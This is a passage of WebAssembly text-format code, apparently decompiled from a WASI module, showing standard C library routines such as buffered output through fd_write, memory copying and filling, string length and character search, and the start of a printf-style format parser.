(local.get $p0))
(i32.load offset=28
(local.get $p0))))
(drop
(call_indirect $__indirect_function_table (type $t1)
(local.get $p0)
(i32.const 0)
(i32.const 0)
(i32.load offset=36
(local.get $p0)))))
(br_if $B0
(i32.eq
(local.tee $l1
(i32.load offset=4
(local.get $p0)))
(local.tee $l2
(i32.load offset=8
(local.get $p0)))))
(drop
(call_indirect $__indirect_function_table (type $t9)
(local.get $p0)
(i64.extend_i32_s
(i32.sub
(local.get $l1)
(local.get $l2)))
(i32.const 1)
(i32.load offset=40
(local.get $p0))))))
(func $f29 (type $t0) (param $p0 i32) (result i32)
(local $l1 i32)
(i32.store offset=72
(local.get $p0)
(i32.or
(i32.add
(local.tee $l1
(i32.load offset=72
(local.get $p0)))
(i32.const -1))
(local.get $l1)))
(block $B0
(br_if $B0
(i32.eqz
(i32.and
(local.tee $l1
(i32.load
(local.get $p0)))
(i32.const 8))))
(i32.store
(local.get $p0)
(i32.or
(local.get $l1)
(i32.const 32)))
(return
(i32.const -1)))
(i64.store offset=4 align=4
(local.get $p0)
(i64.const 0))
(i32.store offset=28
(local.get $p0)
(local.tee $l1
(i32.load offset=44
(local.get $p0))))
(i32.store offset=20
(local.get $p0)
(local.get $l1))
(i32.store offset=16
(local.get $p0)
(i32.add
(local.get $l1)
(i32.load offset=48
(local.get $p0))))
(i32.const 0))
(func $f30 (type $t1) (param $p0 i32) (param $p1 i32) (param $p2 i32) (result i32)
(local $l3 i32) (local $l4 i32) (local $l5 i32)
(local.set $l3
(i32.add
(local.get $p0)
(local.get $p2)))
(block $B0
(block $B1
(block $B2
(block $B3
(br_if $B3
(i32.and
(i32.xor
(local.get $p1)
(local.get $p0))
(i32.const 3)))
(br_if $B2
(i32.eqz
(i32.and
(local.get $p0)
(i32.const 3))))
(br_if $B2
(i32.lt_s
(local.get $p2)
(i32.const 1)))
(local.set $p2
(local.get $p0))
(loop $L4
(i32.store8
(local.get $p2)
(i32.load8_u
(local.get $p1)))
(local.set $p1
(i32.add
(local.get $p1)
(i32.const 1)))
(br_if $B1
(i32.eqz
(i32.and
(local.tee $p2
(i32.add
(local.get $p2)
(i32.const 1)))
(i32.const 3))))
(br_if $L4
(i32.lt_u
(local.get $p2)
(local.get $l3)))
(br $B1))
(unreachable))
(block $B5
(br_if $B5
(i32.lt_u
(local.get $l3)
(i32.const 4)))
(br_if $B5
(i32.lt_u
(local.tee $l4
(i32.add
(local.get $l3)
(i32.const -4)))
(local.get $p0)))
(local.set $p2
(local.get $p0))
(loop $L6
(i32.store8
(local.get $p2)
(i32.load8_u
(local.get $p1)))
(i32.store8 offset=1
(local.get $p2)
(i32.load8_u offset=1
(local.get $p1)))
(i32.store8 offset=2
(local.get $p2)
(i32.load8_u offset=2
(local.get $p1)))
(i32.store8 offset=3
(local.get $p2)
(i32.load8_u offset=3
(local.get $p1)))
(local.set $p1
(i32.add
(local.get $p1)
(i32.const 4)))
(br_if $L6
(i32.le_u
(local.tee $p2
(i32.add
(local.get $p2)
(i32.const 4)))
(local.get $l4)))
(br $B0))
(unreachable))
(local.set $p2
(local.get $p0))
(br $B0))
(local.set $p2
(local.get $p0)))
(block $B7
(br_if $B7
(i32.lt_u
(local.tee $l4
(i32.and
(local.get $l3)
(i32.const -4)))
(i32.const 64)))
(br_if $B7
(i32.gt_u
(local.get $p2)
(local.tee $l5
(i32.add
(local.get $l4)
(i32.const -64)))))
(loop $L8
(i32.store
(local.get $p2)
(i32.load
(local.get $p1)))
(i32.store offset=4
(local.get $p2)
(i32.load offset=4
(local.get $p1)))
(i32.store offset=8
(local.get $p2)
(i32.load offset=8
(local.get $p1)))
(i32.store offset=12
(local.get $p2)
(i32.load offset=12
(local.get $p1)))
(i32.store offset=16
(local.get $p2)
(i32.load offset=16
(local.get $p1)))
(i32.store offset=20
(local.get $p2)
(i32.load offset=20
(local.get $p1)))
(i32.store offset=24
(local.get $p2)
(i32.load offset=24
(local.get $p1)))
(i32.store offset=28
(local.get $p2)
(i32.load offset=28
(local.get $p1)))
(i32.store offset=32
(local.get $p2)
(i32.load offset=32
(local.get $p1)))
(i32.store offset=36
(local.get $p2)
(i32.load offset=36
(local.get $p1)))
(i32.store offset=40
(local.get $p2)
(i32.load offset=40
(local.get $p1)))
(i32.store offset=44
(local.get $p2)
(i32.load offset=44
(local.get $p1)))
(i32.store offset=48
(local.get $p2)
(i32.load offset=48
(local.get $p1)))
(i32.store offset=52
(local.get $p2)
(i32.load offset=52
(local.get $p1)))
(i32.store offset=56
(local.get $p2)
(i32.load offset=56
(local.get $p1)))
(i32.store offset=60
(local.get $p2)
(i32.load offset=60
(local.get $p1)))
(local.set $p1
(i32.add
(local.get $p1)
(i32.const 64)))
(br_if $L8
(i32.le_u
(local.tee $p2
(i32.add
(local.get $p2)
(i32.const 64)))
(local.get $l5)))))
(br_if $B0
(i32.ge_u
(local.get $p2)
(local.get $l4)))
(loop $L9
(i32.store
(local.get $p2)
(i32.load
(local.get $p1)))
(local.set $p1
(i32.add
(local.get $p1)
(i32.const 4)))
(br_if $L9
(i32.lt_u
(local.tee $p2
(i32.add
(local.get $p2)
(i32.const 4)))
(local.get $l4)))))
(block $B10
(br_if $B10
(i32.ge_u
(local.get $p2)
(local.get $l3)))
(loop $L11
(i32.store8
(local.get $p2)
(i32.load8_u
(local.get $p1)))
(local.set $p1
(i32.add
(local.get $p1)
(i32.const 1)))
(br_if $L11
(i32.ne
(local.tee $p2
(i32.add
(local.get $p2)
(i32.const 1)))
(local.get $l3)))))
(local.get $p0))
(func $f31 (type $t1) (param $p0 i32) (param $p1 i32) (param $p2 i32) (result i32)
(local $l3 i32) (local $l4 i32) (local $l5 i32)
(block $B0
(block $B1
(br_if $B1
(local.tee $l3
(i32.load offset=16
(local.get $p2))))
(local.set $l4
(i32.const 0))
(br_if $B0
(call $f29
(local.get $p2)))
(local.set $l3
(i32.load offset=16
(local.get $p2))))
(block $B2
(br_if $B2
(i32.ge_u
(i32.sub
(local.get $l3)
(local.tee $l5
(i32.load offset=20
(local.get $p2))))
(local.get $p1)))
(return
(call_indirect $__indirect_function_table (type $t1)
(local.get $p2)
(local.get $p0)
(local.get $p1)
(i32.load offset=36
(local.get $p2)))))
(block $B3
(block $B4
(br_if $B4
(i32.ge_s
(i32.load offset=80
(local.get $p2))
(i32.const 0)))
(local.set $l3
(i32.const 0))
(br $B3))
(local.set $l4
(local.get $p1))
(loop $L5
(block $B6
(br_if $B6
(local.tee $l3
(local.get $l4)))
(local.set $l3
(i32.const 0))
(br $B3))
(br_if $L5
(i32.ne
(i32.load8_u
(i32.add
(local.get $p0)
(local.tee $l4
(i32.add
(local.get $l3)
(i32.const -1)))))
(i32.const 10))))
(br_if $B0
(i32.lt_u
(local.tee $l4
(call_indirect $__indirect_function_table (type $t1)
(local.get $p2)
(local.get $p0)
(local.get $l3)
(i32.load offset=36
(local.get $p2))))
(local.get $l3)))
(local.set $p0
(i32.add
(local.get $p0)
(local.get $l3)))
(local.set $p1
(i32.sub
(local.get $p1)
(local.get $l3)))
(local.set $l5
(i32.load offset=20
(local.get $p2))))
(drop
(call $f30
(local.get $l5)
(local.get $p0)
(local.get $p1)))
(i32.store offset=20
(local.get $p2)
(i32.add
(i32.load offset=20
(local.get $p2))
(local.get $p1)))
(local.set $l4
(i32.add
(local.get $l3)
(local.get $p1))))
(local.get $l4))
(func $f32 (type $t8) (param $p0 i32) (param $p1 i32) (param $p2 i32) (param $p3 i32) (result i32)
(local $l4 i32) (local $l5 i32)
(local.set $l4
(i32.mul
(local.get $p2)
(local.get $p1)))
(block $B0
(block $B1
(br_if $B1
(i32.gt_s
(i32.load offset=76
(local.get $p3))
(i32.const -1)))
(local.set $p0
(call $f31
(local.get $p0)
(local.get $l4)
(local.get $p3)))
(br $B0))
(local.set $l5
(call $f20
(local.get $p3)))
(local.set $p0
(call $f31
(local.get $p0)
(local.get $l4)
(local.get $p3)))
(br_if $B0
(i32.eqz
(local.get $l5)))
(call $f21
(local.get $p3)))
(block $B2
(br_if $B2
(i32.ne
(local.get $p0)
(local.get $l4)))
(return
(select
(local.get $p2)
(i32.const 0)
(local.get $p1))))
(i32.div_u
(local.get $p0)
(local.get $p1)))
(func $f33 (type $t4) (param $p0 i32) (param $p1 i32) (result i32)
(local $l2 i32)
(local.set $l2
(call $f40
(local.get $p0)))
(select
(i32.const -1)
(i32.const 0)
(i32.ne
(local.get $l2)
(call $f32
(local.get $p0)
(i32.const 1)
(local.get $l2)
(local.get $p1)))))
(func $f34 (type $t4) (param $p0 i32) (param $p1 i32) (result i32)
(local $l2 i32) (local $l3 i32) (local $l4 i32)
(global.set $g0
(local.tee $l2
(i32.sub
(global.get $g0)
(i32.const 16))))
(i32.store8 offset=15
(local.get $l2)
(local.get $p1))
(block $B0
(block $B1
(br_if $B1
(local.tee $l3
(i32.load offset=16
(local.get $p0))))
(local.set $l3
(i32.const -1))
(br_if $B0
(call $f29
(local.get $p0)))
(local.set $l3
(i32.load offset=16
(local.get $p0))))
(block $B2
(br_if $B2
(i32.eq
(local.tee $l4
(i32.load offset=20
(local.get $p0)))
(local.get $l3)))
(br_if $B2
(i32.eq
(i32.load offset=80
(local.get $p0))
(local.tee $l3
(i32.and
(local.get $p1)
(i32.const 255)))))
(i32.store offset=20
(local.get $p0)
(i32.add
(local.get $l4)
(i32.const 1)))
(i32.store8
(local.get $l4)
(local.get $p1))
(br $B0))
(local.set $l3
(i32.const -1))
(br_if $B0
(i32.ne
(call_indirect $__indirect_function_table (type $t1)
(local.get $p0)
(i32.add
(local.get $l2)
(i32.const 15))
(i32.const 1)
(i32.load offset=36
(local.get $p0)))
(i32.const 1)))
(local.set $l3
(i32.load8_u offset=15
(local.get $l2))))
(global.set $g0
(i32.add
(local.get $l2)
(i32.const 16)))
(local.get $l3))
(func $f35 (type $t0) (param $p0 i32) (result i32)
(local $l1 i32) (local $l2 i32)
(local.set $l1
(i32.const 0))
(block $B0
(br_if $B0
(i32.lt_s
(i32.load offset=2684
(i32.const 0))
(i32.const 0)))
(local.set $l1
(call $f20
(i32.const 2608))))
(block $B1
(block $B2
(br_if $B2
(i32.ge_s
(call $f33
(local.get $p0)
(i32.const 2608))
(i32.const 0)))
(local.set $p0
(i32.const -1))
(br $B1))
(block $B3
(br_if $B3
(i32.eq
(i32.load offset=2688
(i32.const 0))
(i32.const 10)))
(br_if $B3
(i32.eq
(local.tee $l2
(i32.load offset=2628
(i32.const 0)))
(i32.load offset=2624
(i32.const 0))))
(local.set $p0
(i32.const 0))
(i32.store offset=2628
(i32.const 0)
(i32.add
(local.get $l2)
(i32.const 1)))
(i32.store8
(local.get $l2)
(i32.const 10))
(br $B1))
(local.set $p0
(i32.shr_s
(call $f34
(i32.const 2608)
(i32.const 10))
(i32.const 31))))
(block $B4
(br_if $B4
(i32.eqz
(local.get $l1)))
(call $f21
(i32.const 2608)))
(local.get $p0))
(func $f36 (type $t4) (param $p0 i32) (param $p1 i32) (result i32)
(local $l2 i32)
(global.set $g0
(local.tee $l2
(i32.sub
(global.get $g0)
(i32.const 16))))
(i32.store offset=12
(local.get $l2)
(local.get $p1))
(local.set $p1
(call $f89
(local.get $p0)
(local.get $p1)))
(global.set $g0
(i32.add
(local.get $l2)
(i32.const 16)))
(local.get $p1))
(func $f37 (type $t1) (param $p0 i32) (param $p1 i32) (param $p2 i32) (result i32)
(local $l3 i32) (local $l4 i32) (local $l5 i32) (local $l6 i32) (local $l7 i32) (local $l8 i32) (local $l9 i32)
(global.set $g0
(local.tee $l3
(i32.sub
(global.get $g0)
(i32.const 32))))
(i32.store offset=16
(local.get $l3)
(local.tee $l4
(i32.load offset=28
(local.get $p0))))
(local.set $l5
(i32.load offset=20
(local.get $p0)))
(i32.store offset=28
(local.get $l3)
(local.get $p2))
(i32.store offset=24
(local.get $l3)
(local.get $p1))
(i32.store offset=20
(local.get $l3)
(local.tee $p1
(i32.sub
(local.get $l5)
(local.get $l4))))
(local.set $l6
(i32.add
(local.get $p1)
(local.get $p2)))
(local.set $l7
(i32.const 2))
(local.set $p1
(i32.add
(local.get $l3)
(i32.const 16)))
(block $B0
(block $B1
(block $B2
(block $B3
(br_if $B3
(call $f90
(call $wasi_snapshot_preview1.fd_write
(i32.load offset=60
(local.get $p0))
(i32.add
(local.get $l3)
(i32.const 16))
(i32.const 2)
(i32.add
(local.get $l3)
(i32.const 12)))))
(loop $L4
(br_if $B2
(i32.eq
(local.get $l6)
(local.tee $l4
(i32.load offset=12
(local.get $l3)))))
(br_if $B1
(i32.le_s
(local.get $l4)
(i32.const -1)))
(i32.store
(local.tee $l9
(i32.add
(local.get $p1)
(i32.shl
(local.tee $l5
(i32.gt_u
(local.get $l4)
(local.tee $l8
(i32.load offset=4
(local.get $p1)))))
(i32.const 3))))
(i32.add
(i32.load
(local.get $l9))
(local.tee $l8
(i32.sub
(local.get $l4)
(select
(local.get $l8)
(i32.const 0)
(local.get $l5))))))
(i32.store
(local.tee $l9
(i32.add
(local.get $p1)
(select
(i32.const 12)
(i32.const 4)
(local.get $l5))))
(i32.sub
(i32.load
(local.get $l9))
(local.get $l8)))
(local.set $l6
(i32.sub
(local.get $l6)
(local.get $l4)))
(br_if $L4
(i32.eqz
(call $f90
(call $wasi_snapshot_preview1.fd_write
(i32.load offset=60
(local.get $p0))
(local.tee $p1
(select
(i32.add
(local.get $p1)
(i32.const 8))
(local.get $p1)
(local.get $l5)))
(local.tee $l7
(i32.sub
(local.get $l7)
(local.get $l5)))
(i32.add
(local.get $l3)
(i32.const 12))))))))
(br_if $B1
(i32.ne
(local.get $l6)
(i32.const -1))))
(i32.store offset=28
(local.get $p0)
(local.tee $p1
(i32.load offset=44
(local.get $p0))))
(i32.store offset=20
(local.get $p0)
(local.get $p1))
(i32.store offset=16
(local.get $p0)
(i32.add
(local.get $p1)
(i32.load offset=48
(local.get $p0))))
(local.set $l4
(local.get $p2))
(br $B0))
(local.set $l4
(i32.const 0))
(i32.store offset=28
(local.get $p0)
(i32.const 0))
(i64.store offset=16
(local.get $p0)
(i64.const 0))
(i32.store
(local.get $p0)
(i32.or
(i32.load
(local.get $p0))
(i32.const 32)))
(br_if $B0
(i32.eq
(local.get $l7)
(i32.const 2)))
(local.set $l4
(i32.sub
(local.get $p2)
(i32.load offset=4
(local.get $p1)))))
(global.set $g0
(i32.add
(local.get $l3)
(i32.const 32)))
(local.get $l4))
(func $f38 (type $t0) (param $p0 i32) (result i32)
(i32.const 0))
(func $f39 (type $t9) (param $p0 i32) (param $p1 i64) (param $p2 i32) (result i64)
(i64.const 0))
(func $f40 (type $t0) (param $p0 i32) (result i32)
(local $l1 i32) (local $l2 i32) (local $l3 i32)
(local.set $l1
(local.get $p0))
(block $B0
(block $B1
(br_if $B1
(i32.eqz
(i32.and
(local.get $p0)
(i32.const 3))))
(local.set $l1
(local.get $p0))
(loop $L2
(br_if $B0
(i32.eqz
(i32.load8_u
(local.get $l1))))
(br_if $L2
(i32.and
(local.tee $l1
(i32.add
(local.get $l1)
(i32.const 1)))
(i32.const 3)))))
(loop $L3
(local.set $l1
(i32.add
(local.tee $l2
(local.get $l1))
(i32.const 4)))
(br_if $L3
(i32.eqz
(i32.and
(i32.and
(i32.xor
(local.tee $l3
(i32.load
(local.get $l2)))
(i32.const -1))
(i32.add
(local.get $l3)
(i32.const -16843009)))
(i32.const -2139062144)))))
(block $B4
(br_if $B4
(i32.and
(local.get $l3)
(i32.const 255)))
(return
(i32.sub
(local.get $l2)
(local.get $p0))))
(loop $L5
(local.set $l3
(i32.load8_u offset=1
(local.get $l2)))
(local.set $l2
(local.tee $l1
(i32.add
(local.get $l2)
(i32.const 1))))
(br_if $L5
(local.get $l3))))
(i32.sub
(local.get $l1)
(local.get $p0)))
(func $f41 (type $t1) (param $p0 i32) (param $p1 i32) (param $p2 i32) (result i32)
(local $l3 i32) (local $l4 i32) (local $l5 i32) (local $l6 i64)
(block $B0
(br_if $B0
(i32.eqz
(local.get $p2)))
(i32.store8
(local.get $p0)
(local.get $p1))
(i32.store8
(i32.add
(local.tee $l3
(i32.add
(local.get $p2)
(local.get $p0)))
(i32.const -1))
(local.get $p1))
(br_if $B0
(i32.lt_u
(local.get $p2)
(i32.const 3)))
(i32.store8 offset=2
(local.get $p0)
(local.get $p1))
(i32.store8 offset=1
(local.get $p0)
(local.get $p1))
(i32.store8
(i32.add
(local.get $l3)
(i32.const -3))
(local.get $p1))
(i32.store8
(i32.add
(local.get $l3)
(i32.const -2))
(local.get $p1))
(br_if $B0
(i32.lt_u
(local.get $p2)
(i32.const 7)))
(i32.store8 offset=3
(local.get $p0)
(local.get $p1))
(i32.store8
(i32.add
(local.get $l3)
(i32.const -4))
(local.get $p1))
(br_if $B0
(i32.lt_u
(local.get $p2)
(i32.const 9)))
(i32.store
(local.tee $l3
(i32.add
(local.get $p0)
(local.tee $l4
(i32.and
(i32.sub
(i32.const 0)
(local.get $p0))
(i32.const 3)))))
(local.tee $p1
(i32.mul
(i32.and
(local.get $p1)
(i32.const 255))
(i32.const 16843009))))
(i32.store
(i32.add
(local.tee $p2
(i32.add
(local.get $l3)
(local.tee $l4
(i32.and
(i32.sub
(local.get $p2)
(local.get $l4))
(i32.const -4)))))
(i32.const -4))
(local.get $p1))
(br_if $B0
(i32.lt_u
(local.get $l4)
(i32.const 9)))
(i32.store offset=8
(local.get $l3)
(local.get $p1))
(i32.store offset=4
(local.get $l3)
(local.get $p1))
(i32.store
(i32.add
(local.get $p2)
(i32.const -8))
(local.get $p1))
(i32.store
(i32.add
(local.get $p2)
(i32.const -12))
(local.get $p1))
(br_if $B0
(i32.lt_u
(local.get $l4)
(i32.const 25)))
(i32.store offset=24
(local.get $l3)
(local.get $p1))
(i32.store offset=20
(local.get $l3)
(local.get $p1))
(i32.store offset=16
(local.get $l3)
(local.get $p1))
(i32.store offset=12
(local.get $l3)
(local.get $p1))
(i32.store
(i32.add
(local.get $p2)
(i32.const -16))
(local.get $p1))
(i32.store
(i32.add
(local.get $p2)
(i32.const -20))
(local.get $p1))
(i32.store
(i32.add
(local.get $p2)
(i32.const -24))
(local.get $p1))
(i32.store
(i32.add
(local.get $p2)
(i32.const -28))
(local.get $p1))
(br_if $B0
(i32.lt_u
(local.tee $p2
(i32.sub
(local.get $l4)
(local.tee $l5
(i32.or
(i32.and
(local.get $l3)
(i32.const 4))
(i32.const 24)))))
(i32.const 32)))
(local.set $l6
(i64.mul
(i64.extend_i32_u
(local.get $p1))
(i64.const 4294967297)))
(local.set $p1
(i32.add
(local.get $l3)
(local.get $l5)))
(loop $L1
(i64.store offset=24
(local.get $p1)
(local.get $l6))
(i64.store offset=16
(local.get $p1)
(local.get $l6))
(i64.store offset=8
(local.get $p1)
(local.get $l6))
(i64.store
(local.get $p1)
(local.get $l6))
(local.set $p1
(i32.add
(local.get $p1)
(i32.const 32)))
(br_if $L1
(i32.gt_u
(local.tee $p2
(i32.add
(local.get $p2)
(i32.const -32)))
(i32.const 31)))))
(local.get $p0))
(func $f42 (type $t0) (param $p0 i32) (result i32)
(i32.lt_u
(i32.add
(local.get $p0)
(i32.const -48))
(i32.const 10)))
(func $f43 (type $t1) (param $p0 i32) (param $p1 i32) (param $p2 i32) (result i32)
(local $l3 i32) (local $l4 i32)
(local.set $l3
(i32.ne
(local.get $p2)
(i32.const 0)))
(block $B0
(block $B1
(block $B2
(br_if $B2
(i32.eqz
(i32.and
(local.get $p0)
(i32.const 3))))
(br_if $B2
(i32.eqz
(local.get $p2)))
(local.set $l4
(i32.and
(local.get $p1)
(i32.const 255)))
(loop $L3
(br_if $B1
(i32.eq
(i32.load8_u
(local.get $p0))
(local.get $l4)))
(local.set $l3
(i32.ne
(local.tee $p2
(i32.add
(local.get $p2)
(i32.const -1)))
(i32.const 0)))
(br_if $B2
(i32.eqz
(i32.and
(local.tee $p0
(i32.add
(local.get $p0)
(i32.const 1)))
(i32.const 3))))
(br_if $L3
(local.get $p2))))
(br_if $B0
(i32.eqz
(local.get $l3))))
(block $B4
(br_if $B4
(i32.eq
(i32.load8_u
(local.get $p0))
(i32.and
(local.get $p1)
(i32.const 255))))
(br_if $B4
(i32.lt_u
(local.get $p2)
(i32.const 4)))
(local.set $l4
(i32.mul
(i32.and
(local.get $p1)
(i32.const 255))
(i32.const 16843009)))
(loop $L5
(br_if $B4
(i32.and
(i32.and
(i32.xor
(local.tee $l3
(i32.xor
(i32.load
(local.get $p0))
(local.get $l4)))
(i32.const -1))
(i32.add
(local.get $l3)
(i32.const -16843009)))
(i32.const -2139062144)))
(local.set $p0
(i32.add
(local.get $p0)
(i32.const 4)))
(br_if $L5
(i32.gt_u
(local.tee $p2
(i32.add
(local.get $p2)
(i32.const -4)))
(i32.const 3)))))
(br_if $B0
(i32.eqz
(local.get $p2)))
(local.set $l3
(i32.and
(local.get $p1)
(i32.const 255)))
(loop $L6
(block $B7
(br_if $B7
(i32.ne
(i32.load8_u
(local.get $p0))
(local.get $l3)))
(return
(local.get $p0)))
(local.set $p0
(i32.add
(local.get $p0)
(i32.const 1)))
(br_if $L6
(local.tee $p2
(i32.add
(local.get $p2)
(i32.const -1))))))
(i32.const 0))
(func $f44 (type $t4) (param $p0 i32) (param $p1 i32) (result i32)
(local $l2 i32)
(select
(i32.sub
(local.tee $l2
(call $f43
(local.get $p0)
(i32.const 0)
(local.get $p1)))
(local.get $p0))
(local.get $p1)
(local.get $l2)))
(func $f45 (type $t11) (param $p0 f64) (param $p1 i32) (result f64)
(local $l2 i64) (local $l3 i32)
(block $B0
(br_if $B0
(i32.eq
(local.tee $l3
(i32.and
(i32.wrap_i64
(i64.shr_u
(local.tee $l2
(i64.reinterpret_f64
(local.get $p0)))
(i64.const 52)))
(i32.const 2047)))
(i32.const 2047)))
(block $B1
(br_if $B1
(local.get $l3))
(block $B2
(block $B3
(br_if $B3
(f64.ne
(local.get $p0)
(f64.const 0x0p+0 (;=0;))))
(local.set $l3
(i32.const 0))
(br $B2))
(local.set $p0
(call $f45
(f64.mul
(local.get $p0)
(f64.const 0x1p+64 (;=1.84467e+19;)))
(local.get $p1)))
(local.set $l3
(i32.add
(i32.load
(local.get $p1))
(i32.const -64))))
(i32.store
(local.get $p1)
(local.get $l3))
(return
(local.get $p0)))
(i32.store
(local.get $p1)
(i32.add
(local.get $l3)
(i32.const -1022)))
(local.set $p0
(f64.reinterpret_i64
(i64.or
(i64.and
(local.get $l2)
(i64.const -9218868437227405313))
(i64.const 4602678819172646912)))))
(local.get $p0))
(func $f46 (type $t17) (param $p0 i32) (param $p1 i32) (param $p2 i32) (param $p3 i32) (param $p4 i32) (result i32)
(local $l5 i32) (local $l6 i32) (local $l7 i32) (local $l8 i32)
(global.set $g0
(local.tee $l5
(i32.sub
(global.get $g0)
(i32.const 208))))
(i32.store offset=204
(local.get $l5)
(local.get $p2))
(local.set $l6
(i32.const 0))
(drop
(call $f41
(i32.add
(local.get $l5)
(i32.const 160))
(i32.const 0)
(i32.const 40)))
(i32.store offset=200
(local.get $l5)
(i32.load offset=204
(local.get $l5)))
(block $B0
(block $B1
(br_if $B1
(i32.ge_s
(call $f47
(i32.const 0)
(local.get $p1)
(i32.add
(local.get $l5)
(i32.const 200))
(i32.add
(local.get $l5)
(i32.const 80))
(i32.add
(local.get $l5)
(i32.const 160))
(local.get $p3)
(local.get $p4))
(i32.const 0)))
(local.set $p1
(i32.const -1))
(br $B0))
(block $B2
(br_if $B2
(i32.lt_s
(i32.load offset=76
(local.get $p0))
(i32.const 0)))
(local.set $l6
(call $f20
(local.get $p0))))
(local.set $l7
(i32.load
(local.get $p0)))
(block $B3
(br_if $B3
(i32.gt_s
(i32.load offset=72
(local.get $p0))
(i32.const 0)))
(i32.store
(local.get $p0)
(i32.and
(local.get $l7)
(i32.const -33))))
(block $B4
(block $B5
(block $B6
(block $B7
(br_if $B7
(i32.load offset=48
(local.get $p0)))
(i32.store offset=48
(local.get $p0)
(i32.const 80))
(i32.store offset=28
(local.get $p0)
(i32.const 0))
(i64.store offset=16
(local.get $p0)
(i64.const 0))
(local.set $l8
(i32.load offset=44
(local.get $p0)))
(i32.store offset=44
(local.get $p0)
(local.get $l5))
(br $B6))
(local.set $l8
(i32.const 0))
(br_if $B5
(i32.load offset=16
(local.get $p0))))
(local.set $p2
(i32.const -1))
(br_if $B4
(call $f29
(local.get $p0))))
(local.set $p2
(call $f47
(local.get $p0)
(local.get $p1)
(i32.add
(local.get $l5)
(i32.const 200))
(i32.add
(local.get $l5)
(i32.const 80))
(i32.add
(local.get $l5)
(i32.const 160))
(local.get $p3)
(local.get $p4))))
(local.set $p1
(i32.and
(local.get $l7)
(i32.const 32)))
(block $B8
(br_if $B8
(i32.eqz
(local.get $l8)))
(drop
(call_indirect $__indirect_function_table (type $t1)
(local.get $p0)
(i32.const 0)
(i32.const 0)
(i32.load offset=36
(local.get $p0))))
(i32.store offset=48
(local.get $p0)
(i32.const 0))
(i32.store offset=44
(local.get $p0)
(local.get $l8))
(i32.store offset=28
(local.get $p0)
(i32.const 0))
(local.set $p3
(i32.load offset=20
(local.get $p0)))
(i64.store offset=16
(local.get $p0)
(i64.const 0))
(local.set $p2
(select
(local.get $p2)
(i32.const -1)
(local.get $p3))))
(i32.store
(local.get $p0)
(i32.or
(local.tee $p3
(i32.load
(local.get $p0)))
(local.get $p1)))
(local.set $p1
(select
(i32.const -1)
(local.get $p2)
(i32.and
(local.get $p3)
(i32.const 32))))
(br_if $B0
(i32.eqz
(local.get $l6)))
(call $f21
(local.get $p0)))
(global.set $g0
(i32.add
(local.get $l5)
(i32.const 208)))
(local.get $p1))
(func $f47 (type $t18) (param $p0 i32) (param $p1 i32) (param $p2 i32) (param $p3 i32) (param $p4 i32) (param $p5 i32) (param $p6 i32) (result i32)
(local $l7 i32) (local $l8 i32) (local $l9 i32) (local $l10 i32) (local $l11 i32) (local $l12 i32) (local $l13 i32) (local $l14 i32) (local $l15 i32) (local $l16 i32) (local $l17 i32) (local $l18 i32) (local $l19 i32) (local $l20 i32) (local $l21 i32) (local $l22 i32) (local $l23 i32) (local $l24 i64)
(global.set $g0
(local.tee $l7
(i32.sub
(global.get $g0)
(i32.const 80))))
(i32.store offset=76
(local.get $l7)
(local.get $p1))
(local.set $l8
(i32.add
(local.get $l7)
(i32.const 55)))
(local.set $l9
(i32.add
(local.get $l7)
(i32.const 56)))
(local.set $l10
(i32.const 0))
(local.set $l11
(i32.const 0))
(local.set $p1
(i32.const 0))
(block $B0
(block $B1
(block $B2
(block $B3
(loop $L4
(br_if $B3
(i32.gt_s
(local.get $p1)
(i32.sub
(i32.const 2147483647)
(local.get $l11))))
(local.set $l11
(i32.add
(local.get $p1)
(local.get $l11)))
(local.set $p1
(local.tee $l12
(i32.load offset=76
(local.get $l7))))
(block $B5
(block $B6
(block $B7
(block $B8
(block $B9
(br_if $B9
(i32.eqz
(local.tee $l13
(i32.load8_u
(local.get $l12)))))
(loop $L10
(block $B11
(block $B12
(block $B13
(br_if $B13
(local.tee $l13
(i32.and
(local.get $l13)
(i32.const 255))))
(local.set $l13
(local.get $p1))
(br $B12))
(br_if $B11
(i32.ne
(local.get $l13)
(i32.const 37)))
(local.set $l13
(local.get $p1))
(loop $L14
(br_if $B12
(i32.ne
(i32.load8_u offset=1
(local.get $p1))
(i32.const 37)))
(i32.store offset=76
(local.get $l7)
(local.tee $l14
(i32.add
(local.get $p1)
(i32.const 2))))
(local.set $l13
(i32.add
(local.get $l13)
(i32.const 1)))
(local.set $l15
(i32.load8_u offset=2
(local.get $p1)))
(local.set $p1
(local.get $l14))
(br_if $L14
(i32.eq
(local.get $l15)
(i32.const 37)))))
(br_if $B3
(i32.gt_s
(local.tee $p1
(i32.sub
(local.get $l13)
(local.get $l12)))
(local.tee $l14
(i32.sub
(i32.const 2147483647)
(local.get $l11)))))
(block $B15
(br_if $B15
(i32.eqz
(local.get $p0)))
(call $f48
(local.get $p0)
(local.get $l12)
(local.get $p1)))
(br_if $L4
(i32.ne
(local.get $l13)
(local.get $l12)))
(local.set $l16
(i32.const -1))
(local.set $l13
(i32.const 1))
(local.set $l15
(call $f42
(i32.load8_s offset=1
(i32.load offset=76
(local.get $l7)))))
(local.set $p1
(i32.load offset=76
(local.get $l7)))
(block $B16
(br_if $B16
(i32.eqz
(local.get $l15)))
(br_if $B16
(i32.ne
(i32.load8_u offset=2
(local.get $p1))
(i32.const 36)))
(local.set $l16
(i32.add
(i32.load8_s offset=1
(local.get $p1))
(i32.const -48)))
(local.set $l10
(i32.const 1))
(local.set $l13
(i32.const 3)))
(i32.store offset=76
(local.get $l7)
(local.tee $p1
(i32.add
(local.get $p1)
(local.get $l13))))
(local.set $l17
(i32.const 0))
(block $B17
(block $B18
(br_if $B18
(i32.le_u
(local.tee $l15
(i32.add
(local.tee $l18
(i32.load8_s
(local.get $p1)))
(i32.const -32)))
(i32.const 31)))
(local.set $l13
(local.get $p1))
(br $B17))
(local.set $l17
(i32.const 0))
(local.set $l13
(local.get $p1))
(br_if $B17
(i32.eqz
(i32.and
(local.tee $l15
(i32.shl
(i32.const 1)
(local.get $l15)))
(i32.const 75913))))
(loop $L19
(i32.store offset=76
(local.get $l7)
(local.tee $l13
(i32.add
(local.get $p1)
(i32.const 1))))
(local.set $l17
(i32.or
(local.get $l15)
(local.get $l17)))
(br_if $B17
(i32.ge_u
(local.tee $l15
(i32.add
(local.tee $l18
(i32.load8_s offset=1
(local.get $p1)))
(i32.const -32)))
(i32.const 32)))
(local.set $p1
(local.get $l13))
(br_if $L19
(i32.and
(local.tee $l15
(i32.shl
(i32.const 1)
(local.get $l15)))
(i32.const 75913)))))
(block $B20
(block $B21
(br_if $B21
(i32.ne
(local.get $l18)
(i32.const 42)))
(block $B22
(block $B23
